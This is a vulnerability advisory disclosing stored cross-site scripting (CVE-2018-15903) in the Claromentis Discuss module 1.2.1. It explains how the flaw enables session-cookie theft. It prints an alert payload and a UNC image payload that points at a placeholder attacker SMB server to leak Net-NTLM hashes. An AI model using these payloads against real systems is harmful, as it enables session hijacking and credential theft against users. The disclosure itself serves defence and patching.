Claromentis Discuss 1.2.1 Cross Site Scripting

Claromentis Discuss module version 1.2.1 suffers from a stored cross site scripting vulnerability.

MD5 | f8fbe622595d04e4b37fac94f93ea9d0

Issue: Stored Cross site Scripting (XSS) on Discuss Module v1.2.1 in
Claromentis intranet application

Reserved CVE: CVE-2018-15903

# Vulnerability OverviewThe Discuss v1.2.1 module in Claromentis 8.2.2
is vulnerable to Stored Cross Site Scripting (XSS). An authenticated
attacker is able to place malicious JavaScript in the discussion
forum, which is present in the login landing page. A low privilege
user can use this to steal the session cookies from high privilege
accounts to conduct session hijacking, enabling them to hijack the
elevated session and perform actions in their security context.

# Discovered By
David Vargas @ HackLabs

# Vendor Status
Disclosed to the Claromentis security team. Discuss module was patched
within two weeks of disclosure.

# Vulnerability Details
Attack type: Remote, authenticated
Impact: Information disclosure, session hijacking, possible domain
hash disclosure.

Affected component: Tested on Claromentis Discuss Module v1.2.1.
Presumably all previous versions also affected.
Claromentis version affected: Tested on 8.2.2.

Attack vector: XSS

# Technical Overview
Claromentis provides Intranet software hosted for organisations. Many
different modules can be enabled to provide different functionality
within the application. One of these Modules is the Discuss module,
which allows forum style discussions between authenticated users.

The Discuss module was found to not enforce any sort of character
filtering or encoding, and vulnerable to stored cross site scripting.
Rather than strip or encode special characters, the Discuss module
simply takes the HTML input and echoes it out in the post, allowing us
to inject simple payloads such as <script>alert(1)</script>.

The risk is amplified because the application also fails to set the
httponly flag on the session cookie (PHPSESSID), which facilitates
session hijacking attacks. Furthermore, the Discuss module is present
on the landing page for successful logins, which means every user that
authenticates to the application or navigates to the home page would
be a potential victim to session hijacking or potentially Net-NTLM
hash stealing.

# POC 1: Session Hijacking

To demonstrate the ability to steal session cookies, the following
payload can be used:




The above is the classic PoC which will produce an pop up box with the
document cookies, including the PHPSESSID session cookie.

In practice, this payload would be little value to an attacker. A
malicious actor would use something like the payload below to send the
cookies to a server they control:






This would send the current session cookies to the attacker's domain,
allowing them to hijack different sessions and execute actions in the
application within the victim's security context.

# POC 2: Collecting domain credentials

Claromentis allows and supports the use of Active directory for
authentication, which means the vulnerability could be easily leveraged to
redirect to a fake authentication page in order to trick the victim into
divulging domain credentials. Alternatively, if the perimeter firewalls
allow outbound traffic to TCP 445, or if the attacker is in the network,
the following payload can also be used to silently steal Net-NTLM Hashes
from the target:

<img src="\\x.x.x.x\doesnotexist" />

Where x.x.x.x is the IP address of an evil SMB server. Internet explorer
and other browsers support UNC paths, which will cause the above payload to
try to authenticate to the evil SMB server in order to access the
*doesnotexist* share, resulting in the disclosure of user hashes which
could be then be cracked.

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